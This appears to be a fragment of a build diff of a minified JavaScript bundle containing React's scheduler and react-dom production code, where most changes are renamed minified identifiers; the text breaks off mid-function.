$=_(I.expirationTime<=Y);Y=s.unstable_now(),typeof $=="function"?I.callback=$:I===n(o)&&l(o),C(Y)}else l(o);I=n(o)}if(I!==null)var hl=!0;else{var wa=n(r);wa!==null&&Kp(m,wa.startTime-Y),hl=!1}return hl}finally{I=null,j=R,y=!1}}var k=!1,G=null,v=-1,M=5,H=-1;function Ys(){return!(s.unstable_now()-HV||125_?(V.sortIndex=R,a(r,V),n(o)===null&&V===n(r)&&(b?(g(v),v=-1):b=!0,Kp(m,R-_))):(V.sortIndex=$,a(o,V),A||y||(A=!0,Np(Z))),V},s.unstable_shouldYield=Ys,s.unstable_wrapCallback=function(V){var Y=j;return function(){var R=j;j=Y;try{return V.apply(this,arguments)}finally{j=R}}}})(Po);Oo.exports=Po;var Jh=Oo.exports;/** + */(function(s){function a(V,Y){var R=V.length;V.push(Y);s:for(;0>>1,$=V[_];if(0>>1;_p(Sp,R))ka<$&&0>p(gl,Sp)?(V[_]=gl,V[ka]=R,_=ka):(V[_]=Sp,V[wa]=R,_=wa);else if(ka<$&&0>p(gl,R))V[_]=gl,V[ka]=R,_=ka;else break s}}return Y}function p(V,Y){var R=V.sortIndex-Y.sortIndex;return R!==0?R:V.id-Y.id}if(typeof performance=="object"&&typeof performance.now=="function"){var e=performance;s.unstable_now=function(){return e.now()}}else{var c=Date,t=c.now();s.unstable_now=function(){return c.now()-t}}var o=[],r=[],d=1,I=null,j=3,y=!1,A=!1,b=!1,B=typeof setTimeout=="function"?setTimeout:null,g=typeof clearTimeout=="function"?clearTimeout:null,h=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function C(V){for(var Y=n(r);Y!==null;){if(Y.callback===null)l(r);else if(Y.startTime<=V)l(r),Y.sortIndex=Y.expirationTime,a(o,Y);else break;Y=n(r)}}function m(V){if(b=!1,C(V),!A)if(n(o)!==null)A=!0,Np(Z);else{var Y=n(r);Y!==null&&Kp(m,Y.startTime-V)}}function Z(V,Y){A=!1,b&&(b=!1,g(v),v=-1),y=!0;var R=j;try{for(C(Y),I=n(o);I!==null&&(!(I.expirationTime>Y)||V&&!Ys());){var _=I.callback;if(typeof _=="function"){I.callback=null,j=I.priorityLevel;var $=_(I.expirationTime<=Y);Y=s.unstable_now(),typeof $=="function"?I.callback=$:I===n(o)&&l(o),C(Y)}else l(o);I=n(o)}if(I!==null)var hl=!0;else{var wa=n(r);wa!==null&&Kp(m,wa.startTime-Y),hl=!1}return hl}finally{I=null,j=R,y=!1}}var k=!1,G=null,v=-1,M=5,H=-1;function Ys(){return!(s.unstable_now()-HV||125_?(V.sortIndex=R,a(r,V),n(o)===null&&V===n(r)&&(b?(g(v),v=-1):b=!0,Kp(m,R-_))):(V.sortIndex=$,a(o,V),A||y||(A=!0,Np(Z))),V},s.unstable_shouldYield=Ys,s.unstable_wrapCallback=function(V){var Y=j;return function(){var R=j;j=Y;try{return V.apply(this,arguments)}finally{j=R}}}})($o);Po.exports=$o;var zh=Po.exports;/** * @license React * react-dom.production.min.js * @@ -30,14 +30,14 @@ function yh(s,a){for(var n=0;n"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),je=Object.prototype.hasOwnProperty,zh=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,It={},Ct={};function Eh(s){return je.call(Ct,s)?!0:je.call(It,s)?!1:zh.test(s)?Ct[s]=!0:(It[s]=!0,!1)}function Lh(s,a,n,l){if(n!==null&&n.type===0)return!1;switch(typeof a){case"function":case"symbol":return!0;case"boolean":return l?!1:n!==null?!n.acceptsBooleans:(s=s.toLowerCase().slice(0,5),s!=="data-"&&s!=="aria-");default:return!1}}function Qh(s,a,n,l){if(a===null||typeof a>"u"||Lh(s,a,n,l))return!0;if(l)return!1;if(n!==null)switch(n.type){case 3:return!a;case 4:return a===!1;case 5:return isNaN(a);case 6:return isNaN(a)||1>a}return!1}function ds(s,a,n,l,p,e,c){this.acceptsBooleans=a===2||a===3||a===4,this.attributeName=l,this.attributeNamespace=p,this.mustUseProperty=n,this.propertyName=s,this.type=a,this.sanitizeURL=e,this.removeEmptyString=c}var ls={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(s){ls[s]=new ds(s,0,!1,s,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(s){var a=s[0];ls[a]=new ds(a,1,!1,s[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(s){ls[s]=new ds(s,2,!1,s.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(s){ls[s]=new ds(s,2,!1,s,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(s){ls[s]=new ds(s,3,!1,s.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(s){ls[s]=new ds(s,3,!0,s,null,!1,!1)});["capture","download"].forEach(function(s){ls[s]=new ds(s,4,!1,s,null,!1,!1)});["cols","rows","size","span"].forEach(function(s){ls[s]=new ds(s,6,!1,s,null,!1,!1)});["rowSpan","start"].forEach(function(s){ls[s]=new ds(s,5,!1,s.toLowerCase(),null,!1,!1)});var jc=/[\-:]([a-z])/g;function uc(s){return s[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(s){var a=s.replace(jc,uc);ls[a]=new ds(a,1,!1,s,null,!1,!1)});"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(s){var a=s.replace(jc,uc);ls[a]=new ds(a,1,!1,s,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(function(s){var a=s.replace(jc,uc);ls[a]=new ds(a,1,!1,s,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(function(s){ls[s]=new ds(s,1,!1,s.toLowerCase(),null,!1,!1)});ls.xlinkHref=new ds("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(function(s){ls[s]=new ds(s,1,!1,s.toLowerCase(),null,!0,!0)});function yc(s,a,n,l){var p=ls.hasOwnProperty(a)?ls[a]:null;(p!==null?p.type!==0:l||!(2"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),je=Object.prototype.hasOwnProperty,Eh=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,It={},Ct={};function Lh(s){return je.call(Ct,s)?!0:je.call(It,s)?!1:Eh.test(s)?Ct[s]=!0:(It[s]=!0,!1)}function Qh(s,a,n,l){if(n!==null&&n.type===0)return!1;switch(typeof a){case"function":case"symbol":return!0;case"boolean":return l?!1:n!==null?!n.acceptsBooleans:(s=s.toLowerCase().slice(0,5),s!=="data-"&&s!=="aria-");default:return!1}}function _h(s,a,n,l){if(a===null||typeof a>"u"||Qh(s,a,n,l))return!0;if(l)return!1;if(n!==null)switch(n.type){case 3:return!a;case 4:return a===!1;case 5:return isNaN(a);case 6:return isNaN(a)||1>a}return!1}function ds(s,a,n,l,p,e,c){this.acceptsBooleans=a===2||a===3||a===4,this.attributeName=l,this.attributeNamespace=p,this.mustUseProperty=n,this.propertyName=s,this.type=a,this.sanitizeURL=e,this.removeEmptyString=c}var ls={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(s){ls[s]=new ds(s,0,!1,s,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(s){var a=s[0];ls[a]=new ds(a,1,!1,s[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(s){ls[s]=new ds(s,2,!1,s.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(s){ls[s]=new ds(s,2,!1,s,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(s){ls[s]=new ds(s,3,!1,s.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(s){ls[s]=new ds(s,3,!0,s,null,!1,!1)});["capture","download"].forEach(function(s){ls[s]=new ds(s,4,!1,s,null,!1,!1)});["cols","rows","size","span"].forEach(function(s){ls[s]=new ds(s,6,!1,s,null,!1,!1)});["rowSpan","start"].forEach(function(s){ls[s]=new ds(s,5,!1,s.toLowerCase(),null,!1,!1)});var jc=/[\-:]([a-z])/g;function uc(s){return s[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(s){var a=s.replace(jc,uc);ls[a]=new ds(a,1,!1,s,null,!1,!1)});"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(s){var a=s.replace(jc,uc);ls[a]=new ds(a,1,!1,s,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(function(s){var a=s.replace(jc,uc);ls[a]=new ds(a,1,!1,s,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(function(s){ls[s]=new ds(s,1,!1,s.toLowerCase(),null,!1,!1)});ls.xlinkHref=new ds("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(function(s){ls[s]=new ds(s,1,!1,s.toLowerCase(),null,!0,!0)});function yc(s,a,n,l){var p=ls.hasOwnProperty(a)?ls[a]:null;(p!==null?p.type!==0:l||!(2t||p[c]!==e[t]){var o=` -`+p[c].replace(" at new "," at ");return s.displayName&&o.includes("")&&(o=o.replace("",s.displayName)),o}while(1<=c&&0<=t);break}}}finally{Jp=!1,Error.prepareStackTrace=n}return(s=s?s.displayName||s.name:"")?fn(s):""}function _h(s){switch(s.tag){case 5:return fn(s.type);case 16:return fn("Lazy");case 13:return fn("Suspense");case 19:return fn("SuspenseList");case 0:case 2:case 15:return s=zp(s.type,!1),s;case 11:return s=zp(s.type.render,!1),s;case 1:return s=zp(s.type,!0),s;default:return""}}function Ae(s){if(s==null)return null;if(typeof s=="function")return s.displayName||s.name||null;if(typeof s=="string")return s;switch(s){case za:return"Fragment";case Ja:return"Portal";case ue:return"Profiler";case mc:return"StrictMode";case ye:return"Suspense";case me:return"SuspenseList"}if(typeof s=="object")switch(s.$$typeof){case ar:return(s.displayName||"Context")+".Consumer";case sr:return(s._context.displayName||"Context")+".Provider";case Ac:var a=s.render;return s=s.displayName,s||(s=a.displayName||a.name||"",s=s!==""?"ForwardRef("+s+")":"ForwardRef"),s;case bc:return a=s.displayName||null,a!==null?a:Ae(s.type)||"Memo";case na:a=s._payload,s=s._init;try{return Ae(s(a))}catch{}}return null}function Uh(s){var a=s.type;switch(s.tag){case 24:return"Cache";case 9:return(a.displayName||"Context")+".Consumer";case 10:return(a._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return s=a.render,s=s.displayName||s.name||"",a.displayName||(s!==""?"ForwardRef("+s+")":"ForwardRef");case 7:return"Fragment";case 5:return a;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return Ae(a);case 8:return a===mc?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof a=="function")return a.displayName||a.name||null;if(typeof a=="string")return a}return null}function ua(s){switch(typeof s){case"boolean":case"number":case"string":case"undefined":return s;case"object":return s;default:return""}}function lr(s){var a=s.type;return(s=s.nodeName)&&s.toLowerCase()==="input"&&(a==="checkbox"||a==="radio")}function Th(s){var a=lr(s)?"checked":"value",n=Object.getOwnPropertyDescriptor(s.constructor.prototype,a),l=""+s[a];if(!s.hasOwnProperty(a)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var p=n.get,e=n.set;return Object.defineProperty(s,a,{configurable:!0,get:function(){return p.call(this)},set:function(c){l=""+c,e.call(this,c)}}),Object.defineProperty(s,a,{enumerable:n.enumerable}),{getValue:function(){return l},setValue:function(c){l=""+c},stopTracking:function(){s._valueTracker=null,delete s[a]}}}}function jl(s){s._valueTracker||(s._valueTracker=Th(s))}function pr(s){if(!s)return!1;var a=s._valueTracker;if(!a)return!0;var n=a.getValue(),l="";return s&&(l=lr(s)?s.checked?"true":"false":s.value),s=l,s!==n?(a.setValue(s),!0):!1}function Ll(s){if(s=s||(typeof document<"u"?document:void 0),typeof s>"u")return null;try{return s.activeElement||s.body}catch{return s.body}}function be(s,a){var n=a.checked;return L({},a,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??s._wrapperState.initialChecked})}function ut(s,a){var n=a.defaultValue==null?"":a.defaultValue,l=a.checked!=null?a.checked:a.defaultChecked;n=ua(a.value!=null?a.value:n),s._wrapperState={initialChecked:l,initialValue:n,controlled:a.type==="checkbox"||a.type==="radio"?a.checked!=null:a.value!=null}}function er(s,a){a=a.checked,a!=null&&yc(s,"checked",a,!1)}function we(s,a){er(s,a);var n=ua(a.value),l=a.type;if(n!=null)l==="number"?(n===0&&s.value===""||s.value!=n)&&(s.value=""+n):s.value!==""+n&&(s.value=""+n);else if(l==="submit"||l==="reset"){s.removeAttribute("value");return}a.hasOwnProperty("value")?ke(s,a.type,n):a.hasOwnProperty("defaultValue")&&ke(s,a.type,ua(a.defaultValue)),a.checked==null&&a.defaultChecked!=null&&(s.defaultChecked=!!a.defaultChecked)}function yt(s,a,n){if(a.hasOwnProperty("value")||a.hasOwnProperty("defaultValue")){var l=a.type;if(!(l!=="submit"&&l!=="reset"||a.value!==void 0&&a.value!==null))return;a=""+s._wrapperState.initialValue,n||a===s.value||(s.value=a),s.defaultValue=a}n=s.name,n!==""&&(s.name=""),s.defaultChecked=!!s._wrapperState.initialChecked,n!==""&&(s.name=n)}function ke(s,a,n){(a!=="number"||Ll(s.ownerDocument)!==s)&&(n==null?s.defaultValue=""+s._wrapperState.initialValue:s.defaultValue!==""+n&&(s.defaultValue=""+n))}var Vn=Array.isArray;function qa(s,a,n,l){if(s=s.options,a){a={};for(var p=0;p"+a.valueOf().toString()+"",a=ul.firstChild;s.firstChild;)s.removeChild(s.firstChild);for(;a.firstChild;)s.appendChild(a.firstChild)}});function zn(s,a){if(a){var n=s.firstChild;if(n&&n===s.lastChild&&n.nodeType===3){n.nodeValue=a;return}}s.textContent=a}var Rn={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},Dh=["Webkit","ms","Moz","O"];Object.keys(Rn).forEach(function(s){Dh.forEach(function(a){a=a+s.charAt(0).toUpperCase()+s.substring(1),Rn[a]=Rn[s]})});function rr(s,a,n){return a==null||typeof a=="boolean"||a===""?"":n||typeof a!="number"||a===0||Rn.hasOwnProperty(s)&&Rn[s]?(""+a).trim():a+"px"}function ir(s,a){s=s.style;for(var n in a)if(a.hasOwnProperty(n)){var l=n.indexOf("--")===0,p=rr(n,a[n],l);n==="float"&&(n="cssFloat"),l?s.setProperty(n,p):s[n]=p}}var Oh=L({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function Be(s,a){if(a){if(Oh[s]&&(a.children!=null||a.dangerouslySetInnerHTML!=null))throw Error(w(137,s));if(a.dangerouslySetInnerHTML!=null){if(a.children!=null)throw Error(w(60));if(typeof a.dangerouslySetInnerHTML!="object"||!("__html"in a.dangerouslySetInnerHTML))throw Error(w(61))}if(a.style!=null&&typeof a.style!="object")throw Error(w(62))}}function Ge(s,a){if(s.indexOf("-")===-1)return typeof a.is=="string";switch(s){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var fe=null;function wc(s){return s=s.target||s.srcElement||window,s.correspondingUseElement&&(s=s.correspondingUseElement),s.nodeType===3?s.parentNode:s}var Ve=null,sn=null,an=null;function bt(s){if(s=rl(s)){if(typeof Ve!="function")throw Error(w(280));var a=s.stateNode;a&&(a=bp(a),Ve(s.stateNode,s.type,a))}}function hr(s){sn?an?an.push(s):an=[s]:sn=s}function gr(){if(sn){var s=sn,a=an;if(an=sn=null,bt(s),a)for(s=0;s>>=0,s===0?32:31-(tg(s)/og|0)|0}var yl=64,ml=4194304;function vn(s){switch(s&-s){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return s&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return s&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return s}}function Tl(s,a){var n=s.pendingLanes;if(n===0)return 0;var l=0,p=s.suspendedLanes,e=s.pingedLanes,c=n&268435455;if(c!==0){var t=c&~p;t!==0?l=vn(t):(e&=c,e!==0&&(l=vn(e)))}else c=n&~p,c!==0?l=vn(c):e!==0&&(l=vn(e));if(l===0)return 0;if(a!==0&&a!==l&&!(a&p)&&(p=l&-l,e=a&-a,p>=e||p===16&&(e&4194240)!==0))return a;if(l&4&&(l|=n&16),a=s.entangledLanes,a!==0)for(s=s.entanglements,a&=l;0n;n++)a.push(s);return a}function tl(s,a,n){s.pendingLanes|=a,a!==536870912&&(s.suspendedLanes=0,s.pingedLanes=0),s=s.eventTimes,a=31-Ns(a),s[a]=n}function gg(s,a){var n=s.pendingLanes&~a;s.pendingLanes=a,s.suspendedLanes=0,s.pingedLanes=0,s.expiredLanes&=a,s.mutableReadLanes&=a,s.entangledLanes&=a,a=s.entanglements;var l=s.eventTimes;for(s=s.expirationTimes;0=Hn),vt=" ",Yt=!1;function Rr(s,a){switch(s){case"keyup":return Mg.indexOf(a.keyCode)!==-1;case"keydown":return a.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function Xr(s){return s=s.detail,typeof s=="object"&&"data"in s?s.data:null}var Ea=!1;function zg(s,a){switch(s){case"compositionend":return Xr(a);case"keypress":return a.which!==32?null:(Yt=!0,vt);case"textInput":return s=a.data,s===vt&&Yt?null:s;default:return null}}function Eg(s,a){if(Ea)return s==="compositionend"||!vc&&Rr(s,a)?(s=vr(),Fl=Gc=ca=null,Ea=!1,s):null;switch(s){case"paste":return null;case"keypress":if(!(a.ctrlKey||a.altKey||a.metaKey)||a.ctrlKey&&a.altKey){if(a.char&&1=a)return{node:n,offset:a-s};s=l}s:{for(;n;){if(n.nextSibling){n=n.nextSibling;break s}n=n.parentNode}n=void 0}n=Ft(n)}}function Kr(s,a){return s&&a?s===a?!0:s&&s.nodeType===3?!1:a&&a.nodeType===3?Kr(s,a.parentNode):"contains"in s?s.contains(a):s.compareDocumentPosition?!!(s.compareDocumentPosition(a)&16):!1:!1}function Sr(){for(var s=window,a=Ll();a instanceof s.HTMLIFrameElement;){try{var n=typeof a.contentWindow.location.href=="string"}catch{n=!1}if(n)s=a.contentWindow;else break;a=Ll(s.document)}return a}function Yc(s){var a=s&&s.nodeName&&s.nodeName.toLowerCase();return a&&(a==="input"&&(s.type==="text"||s.type==="search"||s.type==="tel"||s.type==="url"||s.type==="password")||a==="textarea"||s.contentEditable==="true")}function $g(s){var a=Sr(),n=s.focusedElem,l=s.selectionRange;if(a!==n&&n&&n.ownerDocument&&Kr(n.ownerDocument.documentElement,n)){if(l!==null&&Yc(n)){if(a=l.start,s=l.end,s===void 0&&(s=a),"selectionStart"in n)n.selectionStart=a,n.selectionEnd=Math.min(s,n.value.length);else if(s=(a=n.ownerDocument||document)&&a.defaultView||window,s.getSelection){s=s.getSelection();var p=n.textContent.length,e=Math.min(l.start,p);l=l.end===void 0?e:Math.min(l.end,p),!s.extend&&e>l&&(p=l,l=e,e=p),p=Nt(n,e);var c=Nt(n,l);p&&c&&(s.rangeCount!==1||s.anchorNode!==p.node||s.anchorOffset!==p.offset||s.focusNode!==c.node||s.focusOffset!==c.offset)&&(a=a.createRange(),a.setStart(p.node,p.offset),s.removeAllRanges(),e>l?(s.addRange(a),s.extend(c.node,c.offset)):(a.setEnd(c.node,c.offset),s.addRange(a)))}}for(a=[],s=n;s=s.parentNode;)s.nodeType===1&&a.push({element:s,left:s.scrollLeft,top:s.scrollTop});for(typeof n.focus=="function"&&n.focus(),n=0;n=document.documentMode,La=null,Fe=null,Nn=null,Ne=!1;function Kt(s,a,n){var l=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;Ne||La==null||La!==Ll(l)||(l=La,"selectionStart"in l&&Yc(l)?l={start:l.selectionStart,end:l.selectionEnd}:(l=(l.ownerDocument&&l.ownerDocument.defaultView||window).getSelection(),l={anchorNode:l.anchorNode,anchorOffset:l.anchorOffset,focusNode:l.focusNode,focusOffset:l.focusOffset}),Nn&&Tn(Nn,l)||(Nn=l,l=Pl(Fe,"onSelect"),0Ua||(s.current=ze[Ua],ze[Ua]=null,Ua--)}function K(s,a){Ua++,ze[Ua]=s.current,s.current=a}var ya={},os=Aa(ya),js=Aa(!1),Ra=ya;function cn(s,a){var n=s.type.contextTypes;if(!n)return ya;var l=s.stateNode;if(l&&l.__reactInternalMemoizedUnmaskedChildContext===a)return l.__reactInternalMemoizedMaskedChildContext;var p={},e;for(e in n)p[e]=a[e];return l&&(s=s.stateNode,s.__reactInternalMemoizedUnmaskedChildContext=a,s.__reactInternalMemoizedMaskedChildContext=p),p}function us(s){return s=s.childContextTypes,s!=null}function ql(){x(js),x(os)}function Lt(s,a,n){if(os.current!==ya)throw Error(w(168));K(os,a),K(js,n)}function Ur(s,a,n){var l=s.stateNode;if(a=a.childContextTypes,typeof l.getChildContext!="function")return n;l=l.getChildContext();for(var p in l)if(!(p in a))throw Error(w(108,Uh(s)||"Unknown",p));return L({},n,l)}function sp(s){return s=(s=s.stateNode)&&s.__reactInternalMemoizedMergedChildContext||ya,Ra=os.current,K(os,s),K(js,js.current),!0}function Qt(s,a,n){var l=s.stateNode;if(!l)throw Error(w(169));n?(s=Ur(s,a,Ra),l.__reactInternalMemoizedMergedChildContext=s,x(js),x(os),K(os,s)):x(js),K(js,n)}var Qs=null,wp=!1,ne=!1;function Tr(s){Qs===null?Qs=[s]:Qs.push(s)}function id(s){wp=!0,Tr(s)}function ba(){if(!ne&&Qs!==null){ne=!0;var s=0,a=N;try{var n=Qs;for(N=1;s>=c,p-=c,_s=1<<32-Ns(a)+p|n<v?(M=G,G=null):M=G.sibling;var H=j(g,G,C[v],m);if(H===null){G===null&&(G=M);break}s&&G&&H.alternate===null&&a(g,G),h=e(H,h,v),k===null?Z=H:k.sibling=H,k=H,G=M}if(v===C.length)return n(g,G),J&&Za(g,v),Z;if(G===null){for(;vv?(M=G,G=null):M=G.sibling;var Ys=j(g,G,H.value,m);if(Ys===null){G===null&&(G=M);break}s&&G&&Ys.alternate===null&&a(g,G),h=e(Ys,h,v),k===null?Z=Ys:k.sibling=Ys,k=Ys,G=M}if(H.done)return n(g,G),J&&Za(g,v),Z;if(G===null){for(;!H.done;v++,H=C.next())H=I(g,H.value,m),H!==null&&(h=e(H,h,v),k===null?Z=H:k.sibling=H,k=H);return J&&Za(g,v),Z}for(G=l(g,G);!H.done;v++,H=C.next())H=y(G,g,v,H.value,m),H!==null&&(s&&H.alternate!==null&&G.delete(H.key===null?v:H.key),h=e(H,h,v),k===null?Z=H:k.sibling=H,k=H);return s&&G.forEach(function(yn){return a(g,yn)}),J&&Za(g,v),Z}function B(g,h,C,m){if(typeof C=="object"&&C!==null&&C.type===za&&C.key===null&&(C=C.props.children),typeof C=="object"&&C!==null){switch(C.$$typeof){case Cl:s:{for(var Z=C.key,k=h;k!==null;){if(k.key===Z){if(Z=C.type,Z===za){if(k.tag===7){n(g,k.sibling),h=p(k,C.props.children),h.return=g,g=h;break s}}else if(k.elementType===Z||typeof Z=="object"&&Z!==null&&Z.$$typeof===na&&$t(Z)===k.type){n(g,k.sibling),h=p(k,C.props),h.ref=Wn(g,k,C),h.return=g,g=h;break s}n(g,k);break}else a(g,k);k=k.sibling}C.type===za?(h=va(C.props.children,g.mode,m,C.key),h.return=g,g=h):(m=El(C.type,C.key,C.props,null,g.mode,m),m.ref=Wn(g,h,C),m.return=g,g=m)}return c(g);case Ja:s:{for(k=C.key;h!==null;){if(h.key===k)if(h.tag===4&&h.stateNode.containerInfo===C.containerInfo&&h.stateNode.implementation===C.implementation){n(g,h.sibling),h=p(h,C.children||[]),h.return=g,g=h;break s}else{n(g,h);break}else a(g,h);h=h.sibling}h=ie(C,g.mode,m),h.return=g,g=h}return c(g);case na:return k=C._init,B(g,h,k(C._payload),m)}if(Vn(C))return A(g,h,C,m);if(An(C))return b(g,h,C,m);Bl(g,C)}return typeof C=="string"&&C!==""||typeof C=="number"?(C=""+C,h!==null&&h.tag===6?(n(g,h.sibling),h=p(h,C),h.return=g,g=h):(n(g,h),h=re(C,g.mode,m),h.return=g,g=h),c(g)):n(g,h)}return B}var on=ni(!0),li=ni(!1),il={},Es=Aa(il),$n=Aa(il),qn=Aa(il);function fa(s){if(s===il)throw Error(w(174));return s}function Mc(s,a){switch(K(qn,a),K($n,s),K(Es,il),s=a.nodeType,s){case 9:case 11:a=(a=a.documentElement)?a.namespaceURI:We(null,"");break;default:s=s===8?a.parentNode:a,a=s.namespaceURI||null,s=s.tagName,a=We(a,s)}x(Es),K(Es,a)}function rn(){x(Es),x($n),x(qn)}function pi(s){fa(qn.current);var a=fa(Es.current),n=We(a,s.type);a!==n&&(K($n,s),K(Es,n))}function Jc(s){$n.current===s&&(x(Es),x($n))}var z=Aa(0);function cp(s){for(var a=s;a!==null;){if(a.tag===13){var n=a.memoizedState;if(n!==null&&(n=n.dehydrated,n===null||n.data==="$?"||n.data==="$!"))return a}else 